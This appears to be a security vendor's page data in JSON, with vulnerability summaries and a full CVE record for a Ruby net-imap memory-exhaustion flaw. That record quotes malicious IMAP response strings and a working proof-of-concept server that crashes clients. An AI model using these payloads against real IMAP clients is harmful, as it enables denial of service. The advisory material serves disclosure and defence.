[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-25186":30,"landing-articles":140},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":48,"cwes":49,"cpes":56,"technologies":58,"references":60,"score":71,"epss_score":72,"epss_percentile":73,"is_kev":74,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":75,"attack_mappings":85,"exploits":139},88941,"CVE-2025-25186","EUVD-2025-4076","Possible DoS by memory exhaustion in net-imap\n\n### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client's receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net\u002Fimap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https:\u002F\u002Fruby.github.io\u002Fnet-imap\u002FNet\u002FIMAP\u002FUIDPlusData.html), [AppendUIDData](https:\u002F\u002Fruby.github.io\u002Fnet-imap\u002FNet\u002FIMAP\u002FAppendUIDData.html) and [CopyUIDData](https:\u002F\u002Fruby.github.io\u002Fnet-imap\u002FNet\u002FIMAP\u002FCopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) && resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code&.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION > \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!\u002Fusr\u002Fbin\u002Fenv ruby\nrequire 'socket'\nrequire 'net\u002Fimap'\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(\u002F\\A(\\w+) \u002F)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(\u002F\\A(\\w+) \u002F)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception => ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception => ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process's virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 && exec .\u002Fpoc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n\u002Fgems\u002Fnet-imap-0.5.5\u002Flib\u002Fnet\u002Fimap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)\n        from \u002Fgems\u002Fnet-imap-0.5.5\u002Flib\u002Fnet\u002Fimap.rb:3371:in 'block in Net::IMAP#send_command'\n        from \u002Frubylibdir\u002Fmonitor.rb:201:in 'Monitor#synchronize'\n        from \u002Frubylibdir\u002Fmonitor.rb:201:in 'MonitorMixin#mon_synchronize'\n        from \u002Fgems\u002Fnet-imap-0.5.5\u002Flib\u002Fnet\u002Fimap.rb:3353:in 'Net::IMAP#send_command'\n        from \u002Fgems\u002Fnet-imap-0.5.5\u002Flib\u002Fnet\u002Fimap.rb:1128:in 'block in Net::IMAP#capability'\n        from \u002Frubylibdir\u002Fmonitor.rb:201:in 'Monitor#synchronize'\n        from \u002Frubylibdir\u002Fmonitor.rb:201:in 'MonitorMixin#mon_synchronize'\n        from \u002Fgems\u002Fnet-imap-0.5.5\u002Flib\u002Fnet\u002Fimap.rb:1127:in 'Net::IMAP#capability'\n        from \u002Fworkspace\u002Fpoc.rb:70:in '\u003Cmain>'\n```","2025-02-10T17:42:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":47,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",6.5,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:N\u002FA:H","NONE","REQUIRED","LOW","HIGH",true,[50,51,52,53,54,55],"CWE-789","CWE-400","CWE-770","CWE-405","CWE-409","CWE-1287",[57],"cpe:2.3:a:net-imap:net-imap:*:*:*:*:*:*:*:*",[59],"Net-Imap Net-Imap",[61,62,63,64,65,66,67,68,69,70],"https:\u002F\u002Fgithub.com\u002Fruby\u002Fnet-imap\u002Fcommit\u002F70e3ddd071a94e450b3238570af482c296380b35","https:\u002F\u002Fgithub.com\u002Fruby\u002Fnet-imap\u002Fcommit\u002Fc8c5a643739d2669f0c9a6bb9770d0c045fd74a3","https:\u002F\u002Fgithub.com\u002Fruby\u002Fnet-imap\u002Fcommit\u002Fcb92191b1ddce2d978d01b56a0883b6ecf0b1022","https:\u002F\u002Fgithub.com\u002Fruby\u002Fnet-imap\u002Fsecurity\u002Fadvisories\u002FGHSA-7fc5-f82f-cx69","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-25186","https:\u002F\u002Fgithub.com\u002Fruby\u002Fnet-imap","https:\u002F\u002Fgithub.com\u002Frubysec\u002Fruby-advisory-db\u002Fblob\u002Fmaster\u002Fgems\u002Fnet-imap\u002FCVE-2025-25186.yml","https:\u002F\u002Fruby.github.io\u002Fnet-imap\u002FNet\u002FIMAP\u002FAppendUIDData.html","https:\u002F\u002Fruby.github.io\u002Fnet-imap\u002FNet\u002FIMAP\u002FCopyUIDData.html","https:\u002F\u002Fruby.github.io\u002Fnet-imap\u002FNet\u002FIMAP\u002FUIDPlusData.html",0.53,0.00626,0.49704,false,{"timestamp":76,"automatable":77,"tech_impact":78,"exploitation":79,"cisa_decision":80,"cisa_remediation_timeline":84},"2025-02-10T16:13:53.189390Z","no","partial","poc",{"vector":81,"decision":82,"priority":83},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T01:41:05.728755\u002F","track_star","medium","60D",[86,92,103,110,117,123,132],{"name":87,"source":88,"tactics":89,"technique_id":91},"Exploit Public-Facing Application","attack_vector",[90],"initial-access","T1190",{"name":93,"source":94,"cwe_ids":95,"tactics":96,"capec_ids":98,"technique_id":102},"Direct Network Flood","capec",[52],[97],"impact",[99,100,101],"CAPEC-125","CAPEC-482","CAPEC-528","T1498.001",{"name":104,"source":94,"cwe_ids":105,"tactics":106,"capec_ids":107,"technique_id":109},"Reflection Amplification",[52],[97],[108],"CAPEC-490","T1498.002",{"name":111,"source":94,"cwe_ids":112,"tactics":113,"capec_ids":114,"technique_id":116},"Endpoint Denial of Service",[51,52],[97],[99,115],"CAPEC-227","T1499",{"name":118,"source":94,"cwe_ids":119,"tactics":120,"capec_ids":121,"technique_id":122},"OS Exhaustion Flood",[52],[97],[100],"T1499.001",{"name":124,"source":94,"cwe_ids":125,"tactics":126,"capec_ids":127,"technique_id":131},"Service Exhaustion Flood",[52],[97],[128,100,129,130,101],"CAPEC-469","CAPEC-488","CAPEC-489","T1499.002",{"name":133,"source":94,"cwe_ids":134,"tactics":135,"capec_ids":136,"technique_id":138},"Application Exhaustion Flood",[52],[97],[137],"CAPEC-130","T1499.003",[],{"count":141,"next":142,"previous":6,"results":143},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[144,152,160],{"id":145,"title":146,"summary":147,"published_at":148,"type":149,"link":150,"image_url":151},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":153,"title":154,"summary":155,"published_at":156,"type":157,"link":158,"image_url":159},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":161,"title":162,"summary":163,"published_at":164,"type":165,"link":166,"image_url":167},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]